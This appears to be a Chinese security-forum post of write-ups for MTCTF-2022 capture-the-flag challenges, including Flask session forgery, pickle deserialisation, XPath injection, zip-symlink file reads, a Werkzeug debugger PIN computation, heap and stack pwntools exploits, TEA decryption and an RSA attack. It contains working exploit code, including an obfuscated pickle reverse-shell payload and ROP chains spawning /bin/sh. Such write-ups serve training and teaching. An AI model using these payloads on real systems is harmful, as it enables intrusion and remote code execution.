安全矩阵

 找回密码
 立即注册
搜索
查看: 368|回复: 0

MTCTF-2022 部分WriteUp

[复制链接]

113

主题

160

帖子

693

积分

高级会员

Rank: 4

积分
693
发表于 2022-9-24 11:46:59 | 显示全部楼层 |阅读模式


编辑

MTCTF

本次比赛主力输出选手Article&Messa&Oolongcode,累计解题3Web,2Pwn,1Re,1Crypto

Web

easypickle
题目给出源码:

  1. import base64
  2. import pickle
  3. from flask import Flask, session
  4. import os
  5. import random


  6. app = Flask(__name__)
  7. app.config['SECRET_KEY'] = os.urandom(2).hex()


  8. @app.route('/')
  9. def hello_world():
  10.     if not session.get('user'):
  11.         session['user'] = ''.join(random.choices("admin", k=5))
  12.     return 'Hello {}!'.format(session['user'])

  13. @app.route('/admin')
  14. def admin():
  15.     if session.get('user') != "admin":
  16.         return f"<script>alert('Access Denied');window.location.href='/'</script>"
  17.     else:
  18.         try:
  19.             a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
  20.             if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
  21.                 raise pickle.UnpicklingError("R i o b is forbidden")
  22.             pickle.loads(base64.b64decode(session.get('ser_data')))
  23.             return "ok"
  24.         except:
  25.             return "error!"

  26. if __name__ == '__main__':
  27.     app.run(host='0.0.0.0', port=8888)
复制代码
注意到secret_key是个4位16进制,而且没有文件读取的功能,那只能爆破
了,脚本如下:
  1. from flask import Flask
  2. from flask.sessions import SecureCookieSessionInterface
  3. import requests as res
  4. import time
  5. import base64 as b64


  6. strS = "0123456789abcdef"
  7. end = True

  8. for i in range(0,655356):
  9.     if end:
  10.         break
  11.     time.sleep(0.05)
  12.     hexs = hex(i)
  13.     secret = '0' * (4 - len(hexs[2:])) + hexs[2:]
  14.     print(secret)
  15.     app = Flask(__name__)
  16.     app.secret_key = (secret).encode()
  17.     session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
  18.     @app.route('/')
  19.     def index():
  20.         result = session_serializer.dumps({"user":"admin"})
  21.         print(result)
  22.         return result
  23.     ck = index()
  24.     url = "http://eci-2ze39yqy7j0by91g9he0.cloudeci1.ichunqiu.com:8888/"
  25.     cookie = {"session": ck}
  26.     resp = None
  27.     try:
  28.         resp = res.get(url=url, cookies= cookie)
  29.     except Exception:
  30.         time.sleep(0.2)
  31.         resp = res.get(url=url, cookies= cookie)
  32.     print(resp.text)
  33.     if resp.text.find("admin")!=-1:
  34.         time.sleep(0.2)
  35.         resp = res.get(url=url, cookies= cookie)
  36.         if resp.text.find("admin")!=-1:
  37.             print("================================")
  38.             print(resp.text)
  39.             print("================================")
  40.             end = True
复制代码

拿到secret_key就可以自定义构造session来打/admin路由了

/admin路由采用经典的对pickle的0号协议过滤了命令执行方法,这里可以采用高版本协议替代,这里采用的payload是基于蓝帽杯的file_session改动的:
https://mp.weixin.qq.com/s/A9OmgHAmGLJPEL4cQBU8zQ


编辑

此外还存在一些关键字过滤,可以也可以采用高版本协议组合使用绕过

编辑

如原本payload中opcodes导入__builtin__.map
编辑

就可以替换成如下形式:

  1. raw = b'''c__builtin__
  2. map
  3. .'''
  4. print(pk.loads(raw))
  5. #<class 'map'>


  6. after = b'''V__\u0062u\u0069lt\u0069n__
  7. Vmap
  8. \x93.'''
  9. print(pk.loads(after))
  10. #<class 'map'>
复制代码

opcode中V代表unicode字符串,支持将\uxxxx格式解析为对应字符可以用来关键字过滤:
编辑

\x93作用同c,但是将从stack中出栈两元素分别导入的模块名和属性名:

编辑

此外对于蓝帽杯WP还存在一个小问题,原题采用_loads函数加载pickle数据

编辑

但本题是loads,在opcodes处理上会有些微不通

编辑

具体来说就是用loads加载时会报错误如下:

编辑

对着把传入参数换成元组就行,最终的payload如下(因为是手动改所以还删了一些opcode方便分析)

  1. app = Flask(__name__)
  2. app.secret_key = ('填爆破出来的secret_key').encode()
  3. session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
  4. b= b'''V__\u0062u\u0069lt\u0069n__
  5. Vmap
  6. \x93p0
  7. 0(]V\u0069mp\u006Frt s\u006Fcket,su\u0062pr\u006Fcess,\u006Fs;s=s\u006Fcket.s\u006Fcket(s\u006Fcket.AF_INET,s\u006Fcket.SOCK_ST\u0052EAM);s.c\u006Fnnect(("IP",PORT));\u006Fs.dup2(s.f\u0069len\u006F(),0); \u006Fs.dup2(s.f\u0069len\u006F(),1); \u006Fs.dup2(s.f\u0069len\u006F(),2);p=su\u0062pr\u006Fcess.call(["/\u0062\u0069n/sh","-\u0069"]);
  8. ap1
  9. 0((V__\u0062u\u0069lt\u0069n__
  10. Vexec
  11. \x93g1
  12. tp2
  13. 0(g0
  14. g2
  15. \x81tp3
  16. 0V__\u0062u\u0069lt\u0069n__
  17. V\u0062ytes
  18. \x93p4
  19. g3
  20. \x81.'''
  21. @app.route('/')
  22. def index():
  23.     result = session_serializer.dumps({"user":"admin",'ser_data':b64.b64encode(b)})
  24.     print(result)
  25. index()
复制代码

最终实现一个反弹shell的功能,flag就在当前目录下,直接读取就能获得flag



babyjava
题目明示Xpath注入,可以直接参考[NPUCTF2020]ezlogin_Xpath_injection的做法
具体流程就是按照:
  • 检测注入
  • 查询根节点数
  • 查询根节点名长度(可省)
  • 查询更节点名
  • 按上依次查找向下节点知道知道目标数据
  • 查询目标数据节点长度
  • 查询目标数据节点内容

整体xml文档结构如下:
  1. <root>
  2.     <user>
  3.         <username>
  4.             user1
  5.         </username>
  6.         <username>
  7.             flag{xxxx}
  8.         </username>
  9.     </user>
  10. </root>
复制代码

编写的脚本如下:
  1. import requests as res
  2. import string


  3. url = "http://eci-2zeetzz54w4b5tinoysb.cloudeci1.ichunqiu.com:8888/hello"
  4. strs = "{-}" + string.ascii_letters + string.digits
  5. result = ""
  6. end = False
  7. for a in range(1,100):
  8.     if end:
  9.         print("[+]Done!: {}".format(result))
  10.         break
  11.     for i in strs:
  12.         print("[+]Test:{} {}".format(a,i))
  13.         # data = {"xpath" : "1'or substring(name(/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}
  14.         # data = {"xpath" : "1'or substring(name(/root/*[1]), {}, 1)='{}' and '1'='1".format(a,i)}
  15.         # data = {"xpath" : "1'or substring(name(/root/user/*[2]), {}, 1)='{}' and '1'='1".format(a,i)}
  16.         data = {"xpath" : "1'or substring(/root/user/username[position()=2]/text(), {}, 1)='{}' and '1'='1".format(a,i)}
  17.         resp = res.post(url=url, data=data)
  18.         # print(resp.text)
  19.         if resp.text.find("<p>user1</p>") != -1:
  20.             result += i
  21.             print("[+]Matched: " + result)
  22.             break
  23.         if i == strs[len(strs)-1:]:
  24.             end = True
复制代码

编辑

OnlineUnzip给出了源码:


  1. import os
  2. import re
  3. from hashlib import md5
  4. from flask import Flask, redirect, request, render_template, url_for, make_response


  5. app=Flask(__name__)


  6. def extractFile(filepath):
  7.     extractdir=filepath.split('.')[0]
  8.     if not os.path.exists(extractdir):
  9.         os.makedirs(extractdir)
  10.     os.system(f'unzip -o {filepath} -d {extractdir}')
  11.     return redirect(url_for('display',extractdir=extractdir))


  12. @app.route('/', methods=['GET'])
  13. def index():
  14.     return render_template('index.html')


  15. @app.route('/display', methods=['GET'])
  16. @app.route('/display/', methods=['GET'])
  17. @app.route('/display/<path:extractdir>', methods=['GET'])
  18. def display(extractdir=''):
  19.     if re.search(r"\.\.", extractdir, re.M | re.I) != None:
  20.         return "Hacker?"
  21.     else:
  22.         if not os.path.exists(extractdir):
  23.             return make_response("error", 404)
  24.         else:
  25.             if not os.path.isdir(extractdir):
  26.                 f = open(extractdir, 'rb')
  27.                 response = make_response(f.read())
  28.                 response.headers['Content-Type'] = 'application/octet-stream'
  29.                 return response
  30.             else:
  31.                 fn = os.listdir(extractdir)
  32.                 fn = [".."] + fn
  33.                 f = open("templates/template.html")
  34.                 x = f.read()
  35.                 f.close()
  36.                 ret = "<h1>文件列表:</h1><br><hr>"
  37.                 for i in fn:
  38.                     tpath = os.path.join('/display', extractdir, i)
  39.                     ret += "<a href='" + tpath + "'>" + i + "</a><br>"
  40.                 x = x.replace("HTMLTEXT", ret)
  41.                 return x

  42. @app.route('/upload', methods=['GET', 'POST'])
  43. def upload():
  44.     ip = request.remote_addr
  45.     uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]


  46.     if not os.path.exists(uploadpath):
  47.         os.makedirs(uploadpath)


  48.     if request.method == 'GET':
  49.         return redirect('/')


  50.     if request.method == 'POST':
  51.         try:
  52.             upFile = request.files['file']
  53.             print(upFile.filename)
  54.             if os.path.splitext(upFile.filename)[-1]=='.zip':
  55.                 filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
  56.                 upFile.save(filepath)
  57.                 zipDatas = extractFile(filepath)
  58.                 return zipDatas
  59.             else:
  60.                 return f"{upFile.filename} is not a zip file !"
  61.         except:
  62.             return make_response("error", 404)


  63. if __name__ == '__main__':
  64.     app.run(host='0.0.0.0', port=8000, debug=True)
复制代码

可以注意到开启了debug模式,这就意味着存在可以利用控制台的功能,只要能够计算出pin码

在/upload路由能够上传并解压一个zip压缩包,而在/display路由中可以下载解压后的内容,显然我们通过压缩软链接文件,这样在容器解压后下载软连接文件就能获得容器上其对应的源码

以如下操作例就能获得/etc/passwd的内容

编辑

上传test.zip

编辑

下载解压后的test就能获得容器上的/etc/passwd文件


编辑

既然拥有任意文件下载的功能,所以就可以下载所需的文件计算出pin码,具体可以参考ctfshow的web801题:CTFSHOW 常用姿势篇(801-810)_yu22x的博客-CSDN博客

需要下载的文件如下:
  •         /etc/passwd
  •         /sys/class/net/eth0/address
  •         /etc/machine-id
  •         /proc/self/cgroup

最终脚本和获取到的数据如下:

  1. import hashlib
  2. import getpass
  3. from flask import Flask
  4. from itertools import chain
  5. import sys
  6. import uuid
  7. import typing as t
  8. username='ctf'
  9. app = Flask(__name__)
  10. modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
  11. mod=sys.modules.get(modname)
  12. mod = getattr(mod, "__file__", None)


  13. probably_public_bits = [
  14.     username, #用户名
  15.     modname,  #一般固定为flask.app
  16.     getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
  17.     '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
  18. ]
  19. print(probably_public_bits)
  20. mac ='00:16:3e:34:d9:0b'.replace(':','')
  21. mac=str(int(mac,base=16))
  22. private_bits = [
  23.    mac,#mac地址十进制
  24.    #machine-id + cgroup
  25. "96cec10d3d9307792745ec3b85c89620" + "f0dd6bbeca02c2cd4d0c888f6e089690105d9a7a32680645e6f2e228456117c7"
  26.      ]
  27. print(private_bits)
  28. h = hashlib.sha1()
  29. for bit in chain(probably_public_bits, private_bits):
  30.     if not bit:
  31.         continue
  32.     if isinstance(bit, str):
  33.         bit = bit.encode("utf-8")
  34.     h.update(bit)
  35. h.update(b"cookiesalt")


  36. cookie_name = f"__wzd{h.hexdigest()[:20]}"


  37. # If we need to generate a pin we salt it a bit more so that we don't
  38. # end up with the same value and generate out 9 digits
  39. h.update(b"pinsalt")
  40. num = f"{int(h.hexdigest(), 16):09d}"[:9]


  41. # Format the pincode in groups of digits for easier remembering if
  42. # we don't have a result yet.
  43. rv=None
  44. if rv is None:
  45.     for group_size in 5, 4, 3:
  46.         if len(num) % group_size == 0:
  47.             rv = "-".join(
  48.                 num[x : x + group_size].rjust(group_size, "0")
  49.                 for x in range(0, len(num), group_size)
  50.             )
  51.             break
  52.     else:
  53.         rv = num
  54. print(rv)
复制代码

执行脚本获得pin,然后就可以在控制台执行任意代码
flag在根目录下,直接读取就行

编辑

Reverse

smalldie查看程序信息

编辑

ELF x64程序,使用ida 以二进制方式读取:
​编辑​
发现是一个TEA加密的程序,根据加密算法编写exp:​

  1. #include <stdio.h>
  2. #include <stdint.h>


  3. void decrypt(uint32_t* v, uint32_t* k) {
  4.     uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301*35, i;  /* set up */
  5.     uint32_t delta = 0x67452301;                     /* a key schedule constant */
  6.     uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
  7.     for (i = 0; i < 35; i++) {                         /* basic cycle start */
  8.         v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
  9.         v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
  10.         sum -= delta;
  11.     }                                              /* end cycle */
  12.     v[0] = v0; v[1] = v1;
  13. }

  14. int main()
  15. {

  16.     uint32_t v[8] = { 0xDE087143,0xC4F91BD2 }, k[4] = { 0x00000001,0x00000023,0x00000045,0x00000067 };

  17.     uint32_t v1[2] = { 0xDAF6DADC,0x6D9ED54C };
  18.     uint32_t v2[2] = { 0x75EB4EE7,0x5D1DDC04 };
  19.     uint32_t v3[2] = { 0x511B0FD9,0x51DC88FB };


  20.     decrypt(v, k);
  21.     decrypt(v1, k);
  22.     decrypt(v2, k);
  23.     decrypt(v3, k);
  24.     printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]);
  25.     printf("%c%c%c%c", v[0] >> 0, v[0] >> 8, v[0] >> 16, v[0] >> 24);
  26.     printf("%c%c%c%c", v[1] >> 0, v[1] >> 8, v[1] >> 16, v[1] >> 24);
  27.     printf("%c%c%c%c", v1[0] >> 0, v1[0] >> 8, v1[0] >> 16, v1[0] >> 24);
  28.     printf("%c%c%c%c", v1[1] >> 0, v1[1] >> 8, v1[1] >> 16, v1[1] >> 24);
  29.     printf("%c%c%c%c", v2[0] >> 0, v2[0] >> 8, v2[0] >> 16, v2[0] >> 24);
  30.     printf("%c%c%c%c", v2[1] >> 0, v2[1] >> 8, v2[1] >> 16, v2[1] >> 24);
  31.     printf("%c%c%c%c", v3[0] >> 0, v3[0] >> 8, v3[0] >> 16, v3[0] >> 24);
  32.     printf("%c%c%c%c", v3[1] >> 0, v3[1] >> 8, v3[1] >> 16, v3[1] >> 24);
  33.     return 0;
  34. }
复制代码

PWN

note
程序分析
  1. 保护:
  2.     Arch:     amd64-64-little
  3.     RELRO:    Partial RELRO
  4.     Stack:    No canary found
  5.     NX:       NX enabled
  6.     PIE:      No PIE (0x3ff000)
复制代码

提供了libc文件,版本为Ubuntu GLIBC 2.31-0ubuntu9.9
程序功能:
  • add: 申请一块chunk,地址储存在栈上。
  • edit: 修改一个chunk的内容。
  • remove: 释放一块chunk。
  • show: 打印chunk的内容。



一眼看过去,没有溢出也没有chunk,于是开始其他漏洞如整数溢出,但是所有size都是unsigned int,最后在edit中找到了int型的idx,具有越界访问的漏洞,可以修改栈上内容。


解题思路
  • 由于add功能是使用malloc申请chunk,于是可以将tcache填满后从unsorted bin中申请chunk来泄漏libc
  • 存在越界访问漏洞,用来修改栈上内容,通过栈上的rbp链来修改当前函数调用栈的ret_addr。构造rop_chain后get shell,需要注意的是要进行栈对齐。



exp
  1. # coding=utf-8
  2. from pwn import *
  3. context.log_level='debug'
  4. context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])


  5. # s=ssh(host=host,port=port,user='CTFMan',password='guest')
  6. # io=s.run('/bin/bash')


  7. io=process('./note')
  8. #io=remote('39.106.78.22',16691)


  9. elf=ELF('./note')


  10. libc_file='./libc-2.31.so'


  11. s=lambda x:io.send(x)
  12. sa=lambda x,y:io.sendafter(x,y)
  13. sl=lambda x:io.sendline(x)
  14. sla=lambda x,y:io.sendlineafter(x,y)
  15. r=lambda x:io.recv(x)
  16. ru=lambda x:io.recvuntil(x)
  17. debug=lambda:gdb.attach(io)   


  18. choose=lambda x:sla("5. leave",str(x))


  19. def add(size,content):
  20.     choose(1)
  21.     sla("Size: ",str(size))
  22.     sla("Content: ",content)


  23. def free(idx):
  24.     choose(4)
  25.     sla("Index: ",str(idx))


  26. def edit(idx,content):
  27.     choose(3)
  28.     sla("Index: ",str(idx))
  29.     sla("Content: ",content)


  30. def show(idx):
  31.     choose(2)
  32.     sla("Index: ",str(idx))


  33. for i in range(8):
  34.     add(0xf0,'')
  35. for i in range(8):
  36.     free(7-i)


  37. add(0x20,'')
  38. show(0)
  39. main_arena=u64(ru('\x7f')[-6:].ljust(8,'\0'))
  40. libc_base=main_arena-0x1ecc0a
  41. libc=ELF(libc_file)
  42. print(hex(libc_base))


  43. pop_rdi=0x00000000004017b3
  44. ret=0x000000000040101a
  45. binsh=libc_base+libc.search('/bin/sh').next()
  46. system=libc_base+libc.sym['system']


  47. payload=p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
  48. print(hex(pop_rdi))
  49. #debug()
  50. edit(-6,payload)


  51. io.interactive()
复制代码

捉迷藏
程序分析
就是在很多的if else中找到漏洞,并且程序提供了backdoor。


解题思路
由于程序的输入只有input_val和input_line,因此若有溢出漏洞就应该是input_line造成的,然后找到栈溢出漏洞点,在main:1066。然后找到正确的执行流程,建议将main代码复制到vscode中,可以折叠无关代码。在最后需要通过一次加密,因为用的是异或,所以我直接复制并输入指定字符串后在内存中找到相应结果作为真正的内容输入即可。最后构造rop_chain来get shell,依旧要栈对齐。


exp
  1. # coding=utf-8
  2. import libnum
  3. from pwn import *
  4. context.log_level='debug'
  5. context(os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

  6. # s=ssh(host=host,port=port,user='CTFMan',password='guest')
  7. # io=s.run('/bin/bash')

  8. #io=process('./pwn')
  9. io=remote('47.95.211.153',22174)

  10. elf=ELF('./pwn')

  11. #libc_file='./'

  12. s=lambda x:io.send(x)
  13. sa=lambda x,y:io.sendafter(x,y)
  14. sl=lambda x:io.sendline(x)
  15. sla=lambda x,y:io.sendlineafter(x,y)
  16. r=lambda x:io.recv(x)
  17. ru=lambda x:io.recvuntil(x)
  18. debug=lambda:gdb.attach(io)   

  19. ru("sbAmJLMLWm:")
  20. s('\x20')
  21. s('\x20')
  22. s('\x20')
  23. s('\x20')
  24. s('\x20')
  25. s('\x20')
  26. s('\x20')
  27. s('\x20')
  28. ru("HuEqdjYtuWo:")
  29. s("JlQZtdeJUoYHwWVHWPoRnkWCCzTUIJfxSFyySvunXdHQwaPgqCe")
  30. ru("hbsoMdIRWpYRqvfClb:")
  31. s("eRoTxWxqvoHTuwDKOzuPpBLJUNlbfmjvbyOJyZXYAJqkspYTkvatR")
  32. ru("tfAxpqDQuTCyJw:")
  33. s("wLstsZkXukNiHeHyxjklnbIDJBvxCaCTxO")
  34. ru("UTxqmFvmLy:")
  35. s('\x20')
  36. s('\x20')
  37. s('\x20')
  38. s('9254\x20')
  39. s('\x20')
  40. s('\x20')
  41. s('\x20')
  42. s('\x20')
  43. ru("LLQPyLAOGJbnm:")
  44. s(p64(0xea0e6b2caa85144a))
  45. s(p64(0x60d77d2fecf1f476))
  46. s(p64(0x898719894803dcd8))
  47. s(p64(0x7a7306999cce11ad))
  48. s(p64(0x8a42aec82ee80bd9))
  49. s(p16(0x8152))
  50. #s("vkyHujGLvgxKsLsXpFvkLqaOkMVwyHXNKZglNEWOKM")
  51. ru("gRGKqIlcuj:")

  52. backdoor=0x000000000040132C
  53. payload='\0'*(0xf+8)+p64(0x000000000040101a)+p64(backdoor)

  54. print(hex(backdoor))
  55. #debug()
  56. s(payload)

  57. io.interactive()
复制代码

Crypto
★strange_rsa1
题目代码非常简单:
  1. from Crypto.Util.number import *
  2. from sage.all import RealField
  3. from secret import flag1


  4. Bits = 512
  5. p = getPrime(Bits)
  6. q = getPrime(Bits)
  7. n = p * q

  8. gift = RealField(prec=Bits*2)(p) / RealField(prec=Bits*2)(q)
  9. e = 0x10001
  10. m = bytes_to_long(flag1)
  11. c = pow(m, e, n)

  12. output = open('output.txt', 'w')
  13. output.write('n = ' + str(n) + '\n')
  14. output.write('c = ' + str(c) + '\n')
  15. output.write('gift = ' + str(gift) + '\n')
复制代码
对代码进行简单审计发现:
  1. $
  2. p \cdot q \cdot \frac{p}{q} = p^2 \
  3. p \cdot q \cdot \frac{q}{p} = q^2 \
  4. $
复制代码

所以根据原理编写exp:
  1. # sagemath
  2. from Crypto.Util.number import *

  3. n = 108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413
  4. c = 23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924
  5. gift = 0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938

  6. RF = RealField(512*2)
  7. p = int(RF(n)*RF(gift))
  8. q = int(RF(n)/RF(gift))
  9. p = int(sqrt(p))
  10. q = int(sqrt(q))+1

  11. e = 0x10001
  12. phi = (p-1)*(q-1)
  13. R = Integers(phi)
  14. d = R(1) / R(e)
  15. m = int(pow(c,d,n))

  16. flag = long_to_bytes(m)
  17. print(flag)
复制代码






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-12-4 23:22 , Processed in 0.013266 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表